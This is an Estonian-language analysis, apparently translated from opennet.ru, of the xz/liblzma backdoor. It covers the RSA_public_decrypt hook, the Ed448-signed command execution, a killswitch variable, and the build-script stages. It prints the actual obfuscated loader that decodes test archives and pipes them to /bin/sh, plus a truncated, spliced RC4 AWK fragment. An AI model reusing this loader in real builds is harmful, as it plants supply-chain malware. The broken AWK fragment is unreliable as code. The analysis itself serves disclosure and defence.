Käeolevad tagasiside tulemused pahatahtliku objektifaili tagurpidi tõlgendamisest, mis on integreeritud liblzmas xz paketi tagaukse edendamise kampaania tulemusena. Tagauks mõjutab ainult x86_64 Linuxi kernelit ja Glibc C-teegiga süsteeme, kus sshd-le on rakendatud täiendav plaastr, mis seob libsystemd tehnikaga sd_notify toe tagamiseks. Alguses arvati, et tagauks võimaldab sshd autentimise ümbersugandusi ja süsteemi pääsemist SSH kaudu. Sügavam analüüs näitas, et see ei vasta tõele, ja tagauks annab võimaluse käivitada süsteemis juhuslikku koodi, jättes sshd logides jälgi.
Eelkõige kinnitab tagaukse kaudu püütud funktsioon RSA_public_decrypt hosti allkirja, kasutades fikseeritud Ed448 võtit, ning kui allkiri on edukalt kontrollitud, käivitab see välisest hostilt edastatud koodi süsteemi() funktsiooni abil, enne kui sshd protsess privileege langetab. Koodiks mõeldud andmed saadakse RSA_public_decrypt funktsioonile edastatud parameetri „N“ kaudu (rsa_st struktuuri „n“ väli, mis sisaldab välisest hostist saadud avalikku võtit), kontrollitakse kontrollsummadega ja dekodeeritakse eelnevalt määratud ChaCha20 võtmega enne Ed448 digitaalallkirja kontrollimist.
SSH-s hostide võtmete vahetamise tavaline mehhanism on tähelepanu tõmbav signaal tagaukse aktiveerimiseks. Tagauks kasutab ära, et OpenSSH sertifikaadid sisaldavad allkirja optsioonitise avalikku võtit ja reageerib ainult võtmepaarile, mis on valmistatud rünnakutegevuse kaudu ja vastab fikseeritud Ed448 võtmepaarile. Kui allkirja kontrollimine avaliku võti poolt ebaõnnestub või kui käivitamiseks mõeldud andmete terviklikkust ei kinnitata, tagastab tagauks juhtimise SSH tavafunktsioonidele.
Kuna ründaja privaatvõti on teadmata, ei ole võimalik rakendada kontrollkoodi, mis võimaldaks kolmandatel isikutel tagaukse aktiveerida ja koostada skannerit kompromiteeritud hostide leidmiseks võrgus. Uurijad on valmistanud skripti, mis demonstreerib avatud võtme asendamise tehnikat, mis sisaldab juhuslikku sisu edastatavas SSH-kliendi OpenSSH sertifikaadis, mis kuidas mõjub tagaukse kaudu püütud RSA_public_decrypt funktsiooni.
Uurijad täheldasid ka konstruktsiooni, mis neutraliseerib tagaukse (killswitch) kohaliku süsteemi puhul, kui sshd käivitamisel on keskkonnamuutuja „yolAbejyiejuvnup=Evjtgvsh5okmkAvj“ seadistatud.
Samuti tuleb märkida shell-konstruktsioonide põhjalikku analüüsi, mida kasutati objektifaili tagaukse hõljumise ja liblzma teeki sisestamise keerukuse vältimiseks. xz paketi koostamisel jooksis build-to-host.m4 skript, mis leidis testifailide arhiivist bad-3-corrupt_lzma2.xz, asendas seal mõned märgid, muutes selle kahjustamata arhiiviks ja tõstes sealt shell-skripti.
Saadud shell-skript tõi arhiivi good-large_compressed.lzma sisust välja veel ühe shell-skripti, vahele jättes kindlad järjestused käskude head ja tail abil ning asendades tähemärke käsuga tr. ####Tere#### # siia mõned binaarbytes, kuid kuna see on kommentaar, siis ignoreeritakse neid [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh ####Maailm####
Tulemuseks kujunes keeruline ja mahukas shell-skript, mis ekstraktis otse bäkdoorifaili arhiivist good-large_compressed.lzma, dekodeeris selle ja integreeris liblzma. Skripti seas oli ka pluginamehhanismi teostus, mis võimaldas hiljem tarnida täiendavaid täitmise komponente uute testarhiivide paigutamise kaudu, muutmata good-large_compressed.lzma ja bad-3-corrupt_lzma2.xz, vaid kasutades allkirjaotsingut. Koodis oli kaasatud ka RC4 algoritmil põhinev dekrüptor, mis oli teostatud AWK keeles: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Allikas: opennet.ru
